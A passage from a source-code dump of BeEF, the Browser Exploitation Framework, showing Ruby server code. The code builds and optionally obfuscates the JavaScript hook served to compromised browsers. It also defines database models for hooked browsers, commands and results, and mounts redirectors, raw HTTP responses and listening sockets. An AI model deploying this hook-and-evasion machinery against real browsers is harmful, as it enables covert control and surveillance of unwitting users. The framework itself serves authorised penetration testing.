'timeout.js'\n\n            ext_js_to_obfuscate = ''\n            ext_js_to_not_obfuscate = ''\n\n            # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate\n            # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate\n            ext_js_sub_files.each do |ext_js_sub_file|\n              if config.get('beef.extension.evasion.enable')\n                if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file)\n                  print_debug \"Excluding #{ext_js_sub_file} from core files obfuscation list\"\n                  # do not obfuscate the file\n                  ext_js_sub_file_path = beef_js_path + ext_js_sub_file\n                  ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + \"\\n\\n\")\n                else\n                  ext_js_sub_file_path = beef_js_path + ext_js_sub_file\n                  ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + \"\\n\\n\")\n                end\n              else\n                # Evasion is not enabled, do not obfuscate anything\n                ext_js_sub_file_path = beef_js_path + ext_js_sub_file\n                ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + \"\\n\\n\")\n              end\n            end\n\n            # @note construct the beef_js string from file(s)\n            beef_js_sub_files.each do |beef_js_sub_file|\n              beef_js_sub_file_path = beef_js_path + beef_js_sub_file\n              beef_js << (File.read(beef_js_sub_file_path) + \"\\n\\n\")\n            end\n\n            # @note create the config for the hooked browser session\n            hook_session_config = BeEF::Core::Server.instance.to_h\n\n            # @note if http_host=\"0.0.0.0\" in config ini, use the host requested by client\n            if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public'])\n              hook_session_config['beef_host'] = hook_session_config['beef_public']\n              hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])\n            end\n            if hook_session_config['beef_host'].eql? '0.0.0.0'\n              hook_session_config['beef_host'] = req_host\n              hook_session_config['beef_url'].sub!(/0\\.0\\.0\\.0/, req_host)\n            end\n\n            # @note set the XHR-polling timeout\n            hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout')\n\n            # @note set the hook file path and BeEF's cookie name\n            hook_session_config['hook_file'] = config.get('beef.http.hook_file')\n            hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name')\n\n            # @note if http_port <> public_port in config ini, use the public_port\n            if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port'])\n              hook_session_config['beef_port'] = hook_session_config['beef_public_port']\n              hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])\n              hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443'\n            end\n\n            # @note Set some WebSocket properties\n            if config.get('beef.http.websocket.enable')\n              hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure')\n              hook_session_config['websocket_port'] = config.get('beef.http.websocket.port')\n              hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout')\n              hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout')\n              hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port')\n            end\n\n            # @note populate place holders in the beef_js string and set the response body\n            eruby = Erubis::FastEruby.new(beef_js)\n            @hook = eruby.evaluate(hook_session_config)\n\n            if config.get('beef.extension.evasion.enable')\n              evasion = BeEF::Extension::Evasion::Evasion.instance\n              @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)\n            else\n              @final_hook = ext_js_to_not_obfuscate + @hook\n            end\n\n            # @note Return the final hook to be sent to the browser\n            @body << @final_hook\n          end\n\n          # Finds the path to js components\n          # @param [String] component Name of component\n          # @return [String|Boolean] Returns false if path was not found, otherwise returns component path\n          def legacy_find_beefjs_component_path(component)\n            component_path = component\n            component_path.gsub!(/beef./, '')\n            component_path.gsub!(/\\./, '/')\n            component_path.replace \"#{$root_dir}/core/main/client/#{component_path}.js\"\n\n            return false unless File.exist? component_path\n\n            component_path\n          end\n\n          # Builds missing beefjs components.\n          # @param [Array] beefjs_components An array of component names\n          def legacy_build_missing_beefjs_components(beefjs_components)\n            # @note verifies that @beef_js_cmps is not nil to avoid bugs\n            @beef_js_cmps = '' if @beef_js_cmps.nil?\n\n            if beefjs_components.is_a? String\n              beefjs_components_path = find_beefjs_component_path(beefjs_components)\n              raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path\n\n              beefjs_components = { beefjs_components => beefjs_components_path }\n            end\n\n            beefjs_components.keys.each do |k|\n              next if @beef_js_cmps.include? beefjs_components[k]\n\n              # @note path to the component\n              component_path = beefjs_components[k]\n\n              # @note we output the component to the hooked browser\n              config = BeEF::Core::Configuration.instance\n              if config.get('beef.extension.evasion.enable')\n                evasion = BeEF::Extension::Evasion::Evasion.instance\n                @body << evasion.obfuscate(File.read(component_path) + \"\\n\\n\")\n              else\n                @body << (File.read(component_path) + \"\\n\\n\")\n              end\n\n              # @note finally we add the component to the list of components already generated so it does not get generated numerous times.\n              if @beef_js_cmps.eql? ''\n                @beef_js_cmps = component_path\n              else\n                @beef_js_cmps += \",#{component_path}\"\n              end\n            end\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/handlers/modules/multistagebeefjs.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Handlers\n      module Modules\n        # @note Purpose: avoid rewriting several times the same code.\n        module MultiStageBeEFJS\n          # Builds the default beefjs library (all default components of the library).\n          # @param [Object] req_host The request object\n          def multi_stage_beefjs!(req_host)\n            config = BeEF::Core::Configuration.instance\n            # @note set up values required to construct beefjs\n            beef_js = ''\n            # @note location of sub files\n            beef_js_path = \"#{$root_dir}/core/main/client/\"\n\n            # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated\n            ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js lib/bowser-2.11.0.min.js]\n\n            # @note BeEF libraries: need Eruby evaluation and obfuscation\n            beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js\n                                   encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]\n            # @note Load websocket library only if WS server is enabled in config.yaml\n            beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true\n            # @note Load webrtc library only if WebRTC extension is enabled\n            if config.get('beef.extension.webrtc.enable') == true\n              beef_js_sub_files << 'lib/webrtcadapter.js'\n              beef_js_sub_files << 'webrtc.js'\n            end\n\n            # @note antisnatchor: leave timeout.js as the last one!\n            beef_js_sub_files << 'timeout.js'\n\n            ext_js_to_obfuscate = ''\n            ext_js_to_not_obfuscate = ''\n\n            # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate\n            # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate\n            ext_js_sub_files.each do |ext_js_sub_file|\n              if config.get('beef.extension.evasion.enable')\n                if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file)\n                  print_debug \"Excluding #{ext_js_sub_file} from core files obfuscation list\"\n                  # do not obfuscate the file\n                  ext_js_sub_file_path = beef_js_path + ext_js_sub_file\n                  ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + \"\\n\\n\")\n                else\n                  ext_js_sub_file_path = beef_js_path + ext_js_sub_file\n                  ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + \"\\n\\n\")\n                end\n              else\n                # Evasion is not enabled, do not obfuscate anything\n                ext_js_sub_file_path = beef_js_path + ext_js_sub_file\n                ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + \"\\n\\n\")\n              end\n            end\n\n            # @note construct the beef_js string from file(s)\n            beef_js_sub_files.each do |beef_js_sub_file|\n              beef_js_sub_file_path = beef_js_path + beef_js_sub_file\n              beef_js << (File.read(beef_js_sub_file_path) + \"\\n\\n\")\n            end\n\n            # @note create the config for the hooked browser session\n            hook_session_config = BeEF::Core::Server.instance.to_h\n\n            # @note if http_host=\"0.0.0.0\" in config ini, use the host requested by client\n            if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public'])\n              hook_session_config['beef_host'] = hook_session_config['beef_public']\n              hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])\n            end\n            if hook_session_config['beef_host'].eql? '0.0.0.0'\n              hook_session_config['beef_host'] = req_host\n              hook_session_config['beef_url'].sub!(/0\\.0\\.0\\.0/, req_host)\n            end\n\n            # @note set the XHR-polling timeout\n            hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout')\n\n            # @note set the hook file path and BeEF's cookie name\n            hook_session_config['hook_file'] = config.get('beef.http.hook_file')\n            hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name')\n\n            # @note if http_port <> public_port in config ini, use the public_port\n            if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port'])\n              hook_session_config['beef_port'] = hook_session_config['beef_public_port']\n              hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])\n              hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443'\n            end\n\n            # @note Set some WebSocket properties\n            if config.get('beef.http.websocket.enable')\n              hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure')\n              hook_session_config['websocket_port'] = config.get('beef.http.websocket.port')\n              hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout')\n              hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout')\n              hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port')\n            end\n\n            # @note populate place holders in the beef_js string and set the response body\n            eruby = Erubis::FastEruby.new(beef_js)\n            @hook = eruby.evaluate(hook_session_config)\n\n            if config.get('beef.extension.evasion.enable')\n              evasion = BeEF::Extension::Evasion::Evasion.instance\n              @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)\n            else\n              @final_hook = ext_js_to_not_obfuscate + @hook\n            end\n\n            # @note Return the final hook to be sent to the browser\n            @body << @final_hook\n          end\n\n          # Finds the path to js components\n          # @param [String] component Name of component\n          # @return [String|Boolean] Returns false if path was not found, otherwise returns component path\n          def legacy_find_beefjs_component_path(component)\n            component_path = component\n            component_path.gsub!(/beef./, '')\n            component_path.gsub!(/\\./, '/')\n            component_path.replace \"#{$root_dir}/core/main/client/#{component_path}.js\"\n\n            return false unless File.exist? component_path\n\n            component_path\n          end\n\n          # Builds missing beefjs components.\n          # @param [Array] beefjs_components An array of component names\n          def legacy_build_missing_beefjs_components(beefjs_components)\n            # @note verifies that @beef_js_cmps is not nil to avoid bugs\n            @beef_js_cmps = '' if @beef_js_cmps.nil?\n\n            if beefjs_components.is_a? String\n              beefjs_components_path = find_beefjs_component_path(beefjs_components)\n              raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path\n\n              beefjs_components = { beefjs_components => beefjs_components_path }\n            end\n\n            beefjs_components.keys.each do |k|\n              next if @beef_js_cmps.include? beefjs_components[k]\n\n              # @note path to the component\n              component_path = beefjs_components[k]\n\n              # @note we output the component to the hooked browser\n              config = BeEF::Core::Configuration.instance\n              if config.get('beef.extension.evasion.enable')\n                evasion = BeEF::Extension::Evasion::Evasion.instance\n                @body << evasion.obfuscate(File.read(component_path) + \"\\n\\n\")\n              else\n                @body << (File.read(component_path) + \"\\n\\n\")\n              end\n\n              # @note finally we add the component to the list of components already generated so it does not get generated numerous times.\n              if @beef_js_cmps.eql? ''\n                @beef_js_cmps = component_path\n              else\n                @beef_js_cmps += \",#{component_path}\"\n              end\n            end\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/logger.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    class Logger\n      include Singleton\n\n      # Constructor\n      def initialize\n        @logs = BeEF::Core::Models::Log\n        @config = BeEF::Core::Configuration.instance\n\n        # if notifications are enabled create a new instance\n        notifications_enabled = @config.get('beef.extension.notifications.enable')\n        @notifications = BeEF::Extension::Notifications::Notifications unless notifications_enabled == false or notifications_enabled.nil?\n      end\n\n      #\n      # Registers a new event in the logs\n      # @param [String] from The origin of the event (i.e. Authentication, Hooked Browser)\n      # @param [String] event The event description\n      # @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB)\n      #\n      # @return [Boolean] True if the register was successful\n      #\n      def register(from, event, hb = 0)\n        # type conversion to enforce standards\n        hb = hb.to_i\n\n        # get time now\n        time_now = Time.now\n\n        # arguments type checking\n        raise TypeError, \"'from' is #{from.class}; expected String\" unless from.is_a?(String)\n        raise TypeError, \"'event' is #{event.class}; expected String\" unless event.is_a?(String)\n        raise TypeError, \"'hb' hooked browser ID is #{hb.class}; expected Integer\" unless hb.is_a?(Integer)\n\n        # logging the new event into the database\n        @logs.create(logtype: from.to_s, event: event.to_s, date: time_now, hooked_browser_id: hb).save!\n        print_debug \"Event: #{event}\"\n        # if notifications are enabled send the info there too\n        @notifications.new(from, event, time_now, hb) if @notifications\n\n        true\n      end\n\n      @logs\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/migration.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    # @note This class migrates and updates values in the database each time you restart BeEF.\n    #       So for example, when you want to add a new command module, you stop BeEF,\n    #       copy your command module into the framework and then restart BeEF.\n    #       That class will take care of installing automatically the new command module in the db.\n    class Migration\n      include Singleton\n\n      #\n      # Updates the database.\n      #\n      def update_db!\n        update_commands!\n      end\n\n      #\n      # Checks for new command modules and updates the database.\n      #\n      def update_commands!\n        config = BeEF::Core::Configuration.instance\n\n        db_modules = BeEF::Core::Models::CommandModule.all.pluck(:name)\n\n        config.get('beef.module').each do |k, v|\n          BeEF::Core::Models::CommandModule.new(name: k, path: \"#{v['path']}module.rb\").save! unless db_modules.include? k\n        end\n\n        BeEF::Core::Models::CommandModule.all.each do |mod|\n          unless config.get(\"beef.module.#{mod.name}\").nil?\n            config.set \"beef.module.#{mod.name}.db.id\", mod.id\n            config.set \"beef.module.#{mod.name}.db.path\", mod.path\n          end\n        end\n\n        # Call Migration method\n        BeEF::API::Registrar.instance.fire BeEF::API::Migration, 'migrate_commands'\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/model.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    class Model < ActiveRecord::Base\n      # Tell ActiveRecord that this is not a model\n      self.abstract_class = true\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/models/browserdetails.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      #\n      # Table stores the details of browsers.\n      #\n      # For example, the type and version of browser the hooked browsers are using.\n      #\n      class BrowserDetails < BeEF::Core::Model\n        #\n        # Returns the requested value from the data store\n        #\n        def self.get(session_id, key)\n          browserdetail = where(session_id: session_id, detail_key: key).first\n\n          return nil if browserdetail.nil?\n          return nil if browserdetail.detail_value.nil?\n\n          browserdetail.detail_value\n        end\n\n        #\n        # Stores or updates an existing key->value pair in the data store\n        #\n        def self.set(session_id, detail_key, detail_value)\n          browserdetails = BeEF::Core::Models::BrowserDetails.where(\n            session_id: session_id,\n            detail_key: detail_key\n          ).first\n          if browserdetails.nil?\n            # store the new browser details key/value\n            browserdetails = BeEF::Core::Models::BrowserDetails.new(\n              session_id: session_id,\n              detail_key: detail_key,\n              detail_value: detail_value || ''\n            )\n            result = browserdetails.save!\n          else\n            # update the browser details key/value\n            browserdetails.detail_value = detail_value || ''\n            result = browserdetails.save!\n            print_debug \"Browser has updated '#{detail_key}' to '#{detail_value}'\"\n          end\n\n          # if the attempt to save the browser details fails return a bad request\n          print_error \"Failed to save browser details: #{detail_key}=#{detail_value}\" if result.nil?\n\n          browserdetails\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/models/command.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Models\n      # @note Table stores the commands that have been sent to the Hooked Browsers.\n      class Command < BeEF::Core::Model\n        has_many :results\n        has_one :command_module\n        has_one :hooked_browser\n\n        #\n        # Save results and flag that the command has been run on the hooked browser\n        #\n        # @param [String] hook_session_id The session_id.\n        # @param [String] command_id The command_id.\n        # @param [String] command_friendly_name The command friendly name.\n        # @param [String] result The result of the command module.\n        #\n        def self.save_result(hook_session_id, command_id, command_friendly_name, result, status)\n          # @note argument type checking\n          raise TypeError, '\"hook_session_id\" needs to be a string' unless hook_session_id.is_a?(String)\n          raise TypeError, '\"command_id\" needs to be an integer' unless command_id.is_a?(Integer)\n          raise TypeError, '\"command_friendly_name\" needs to be a string' unless command_friendly_name.is_a?(String)\n          raise TypeError, '\"result\" needs to be a hash' unless result.is_a?(Hash)\n          raise TypeError, '\"status\" needs to be an integer' unless status.is_a?(Integer)\n\n          # @note get the hooked browser structure and id from the database\n          hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first || nil\n          raise TypeError, 'hooked_browser is nil' if hooked_browser.nil?\n          raise TypeError, 'hooked_browser.id is nil' if hooked_browser.id.nil?\n\n          # @note get the command module data structure from the database\n          command = where(id: command_id, hooked_browser_id: hooked_browser.id).first || nil\n          raise TypeError, 'command is nil' if command.nil?\n\n          # @note create the entry for the results\n          BeEF::Core::Models::Result.create(\n            hooked_browser_id: hooked_browser.id,\n            command_id: command.id,\n            data: result.to_json,\n            status: status,\n            date: Time.now.to_i\n          )\n\n          s = show_status(status)\n          log = \"Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}]\"\n          log += \" has executed instructions (status: #{s}) from command module [cid:#{command_id},\"\n          log += \" mod: #{command.command_module_id}, name:'#{command_friendly_name}']\"\n          BeEF::Core::Logger.instance.register('Command', log, hooked_browser.id)\n          print_info log\n\n          true\n        end\n\n        # @note show status\n        def self.show_status(status)\n          case status\n          when -1\n            'ERROR'\n          when 1\n            'SUCCESS'\n          else\n            'UNKNOWN'\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/models/commandmodule.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      class CommandModule < BeEF::Core::Model\n        has_many :commands\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/models/execution.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Models      # @note Stored info about the execution of the ARE on hooked browsers.\n      class Execution < BeEF::Core::Model\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/models/hookedbrowser.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      class HookedBrowser < BeEF::Core::Model\n        has_many :commands\n        has_many :results\n        has_many :logs\n\n        # @note Increases the count of a zombie\n        def count!\n          count.nil? ? self.count = 1 : self.count += 1\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/models/legacybrowseruseragents.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      #\n      # Objects stores known 'legacy' browser User Agents.\n      #\n      # This table is used to determine if a hooked browser is a 'legacy' \n      # browser.\n      #\n      # TODO: make it an actual table\n      #\n      module LegacyBrowserUserAgents\n        def self.user_agents\n          [\n          ]\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/models/log.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      class Log < BeEF::Core::Model\n        has_one :hooked_browser\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/models/optioncache.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      class OptionCache < BeEF::Core::Model\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/models/result.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      class Result < BeEF::Core::Model\n        has_one :command\n        has_one :hooked_browser\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/models/rule.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Models\n      # @note Table stores the rules for the Distributed Engine.\n      class Rule < BeEF::Core::Model\n        has_many :executions\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/network_stack/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module NetworkStack\n      module RegisterHttpHandler\n        # Register the http handler for the network stack\n        # @param [Object] server HTTP server instance\n        def self.mount_handler(server)\n          # @note this mounts the dynamic handler\n          server.mount('/dh', BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new)\n        end\n      end\n\n      BeEF::API::Registrar.instance.register(BeEF::Core::NetworkStack::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/network_stack/assethandler.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module NetworkStack\n      module Handlers\n        # @note Class defining BeEF assets\n        class AssetHandler\n          # @note call BeEF::Core::NetworkStack::Handlers::AssetHandler.instance\n          include Singleton\n\n          attr_reader :allocations, :root_dir\n\n          # Starts the AssetHandler instance\n          def initialize\n            @allocations = {}\n            @sockets = {}\n            @http_server = BeEF::Core::Server.instance\n            @root_dir = File.expand_path('../../..', __dir__)\n          end\n\n          # Binds a redirector to a mount point\n          # @param [String] target The target for the redirector\n          # @param [String] path An optional URL path to mount the redirector to (can be nil for a random path)\n          # @return [String] URL Path of the redirector\n          # @todo This function, similar to bind(), should accept a hooked browser session to limit the mounted file to a certain session etc.\n          def bind_redirect(target, path = nil)\n            url = build_url(path, nil)\n            @allocations[url] = { 'target' => target }\n            @http_server.mount(url, BeEF::Core::NetworkStack::Handlers::Redirector.new(target))\n            @http_server.remap\n            print_info 'Redirector to [' + target + '] bound to url [' + url + ']'\n            url\n          rescue StandardError => e\n            print_error \"Failed to mount #{path} : #{e.message}\"\n            print_error e.backtrace\n          end\n\n          # Binds raw HTTP to a mount point\n          # @param [Integer] status HTTP status code to return\n          # @param [String] headers HTTP headers as a JSON string to return\n          # @param [String] body HTTP body to return\n          # @param [String] path URL path to mount the asset to TODO (can be nil for random path)\n          # @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)\n          def bind_raw(status, header, body, path = nil, _count = -1)\n            url = build_url(path, nil)\n            @allocations[url] = {}\n            @http_server.mount(\n              url,\n              BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body)\n            )\n            @http_server.remap\n            print_info 'Raw HTTP bound to url [' + url + ']'\n            url\n          rescue StandardError => e\n            print_error \"Failed to mount #{path} : #{e.message}\"\n            print_error e.backtrace\n          end\n\n          # Binds a file to a mount point\n          # @param [String] file File path to asset\n          # @param [String] path URL path to mount the asset to (can be nil for random path)\n          # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()\n          # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)\n          # @return [String] URL Path of mounted asset\n          # @todo This function should accept a hooked browser session to limit the mounted file to a certain session\n          def bind(file, path = nil, extension = nil, count = -1)\n            unless File.exist? \"#{root_dir}#{file}\"\n              print_error \"Failed to mount file #{root_dir}#{file}. File does not exist\"\n              return\n            end\n\n            url = build_url(path, extension)\n            @allocations[url] = { 'file' => \"#{root_dir}#{file}\",\n                                  'path' => path,\n                                  'extension' => extension,\n                                  'count' => count }\n\n            resp_body = File.read(\"#{root_dir}#{file}\")\n\n            content_type = if extension.nil? || MIME::Types.type_for(extension).empty?\n                             'text/plain'\n                           else\n                             MIME::Types.type_for(extension).first.content_type\n                           end\n\n            @http_server.mount(\n              url,\n              BeEF::Core::NetworkStack::Handlers::Raw.new('200', { 'Content-Type' => content_type }, resp_body)\n            )\n\n            @http_server.remap\n            print_info \"File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]\"\n\n            url\n          rescue StandardError => e\n            print_error \"Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}\"\n            print_error e.backtrace\n          end\n\n          # Binds a file to a mount point (cached for 1 year)\n          # @param [String] file File path to asset\n          # @param [String] path URL path to mount the asset to (can be nil for random path)\n          # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()\n          # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)\n          # @return [String] URL Path of mounted asset\n          # @todo This function should accept a hooked browser session to limit the mounted file to a certain session\n          def bind_cached(file, path = nil, extension = nil, count = -1)\n            unless File.exist? \"#{root_dir}#{file}\"\n              print_error \"Failed to mount file #{root_dir}#{file}. File does not exist\"\n              return\n            end\n\n            url = build_url(path, extension)\n            @allocations[url] = { 'file' => \"#{root_dir}#{file}\",\n                                  'path' => path,\n                                  'extension' => extension,\n                                  'count' => count }\n\n            resp_body = File.read(\"#{root_dir}#{file}\")\n\n            content_type = if extension.nil? || MIME::Types.type_for(extension).empty?\n                             'text/plain'\n                           else\n                             MIME::Types.type_for(extension).first.content_type\n                           end\n\n            @http_server.mount(\n              url,\n              BeEF::Core::NetworkStack::Handlers::Raw.new(\n                '200', {\n                  'Content-Type' => content_type,\n                  'Expires' => CGI.rfc1123_date(Time.now + (60 * 60 * 24 * 365))\n                },\n                resp_body\n              )\n            )\n\n            @http_server.remap\n            print_info \"File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]\"\n\n            url\n          rescue StandardError => e\n            print_error \"Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}\"\n            print_error e.backtrace\n          end\n\n          # Unbinds a file from a mount point\n          # @param [String] url URL path of asset to be unbinded\n          # TODO: check why is throwing exception\n          def unbind(url)\n            @allocations.delete(url)\n            @http_server.unmount(url)\n            @http_server.remap\n            print_info \"Url [#{url}] unmounted\"\n          end\n\n          # use it like: bind_socket(\"irc\",\"0.0.0.0\",6667)\n          def bind_socket(name, host, port)\n            unless @sockets[name].nil?\n              print_error \"Bind Socket [#{name}] is already listening on [#{host}:#{port}].\"\n              return\n            end\n\n            t = Thread.new do\n              server = TCPServer.new(host, port)\n              loop do\n                Thread.start(server.accept) do |client|\n                  data = ''\n                  recv_length = 1024\n                  threshold = 1024 * 512\n                  while (tmp = client.recv(recv_length))\n                    data += tmp\n                    break if tmp.length < recv_length || tmp.length == recv_length\n                    # 512 KB max of incoming data\n                    break if data > threshold\n                  end\n                  if data.size > threshold\n                    print_error \"More than 512 KB of data incoming for Bind Socket [#{name}]. For security purposes client connection is closed, and data not saved.\"\n                  else\n                    @sockets[name] = { 'thread' => t, 'data' => data }\n                    print_info \"Bind Socket [#{name}] received [#{data.size}] bytes of data.\"\n                    print_debug \"Bind Socket [#{name}] received:\\n#{data}\"\n                  end\n                  client.close\n                end\n              end\n            end\n\n            print_info \"Bind socket [#{name}] listening on [#{host}:#{port}].\"\n          end\n\n          def get_socket_data(name)\n            if @sockets[name].nil?\n              print_error 